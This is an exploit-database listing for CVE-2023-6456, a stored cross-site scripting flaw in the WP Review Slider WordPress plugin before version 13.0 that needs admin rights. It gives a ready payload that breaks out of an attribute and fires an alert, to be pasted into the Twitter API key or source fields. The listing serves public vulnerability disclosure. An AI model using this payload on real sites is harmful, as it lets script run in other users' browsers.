Sploitus

Exploit for WP Review Slider < 13.0 - Admin+ Stored XSS

CVE-2023-6456

wpexploit · 2023-12-26

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:30F31412-8F94-4D5E-A080-3F6F669703CD
Add the payload `" style=animation-name:rotation onanimationstart=alert(/XSS/)//` for any of the WP Review > Twitter > API Keys or Twitter Source fields.

Save and see XSS when accessing the page.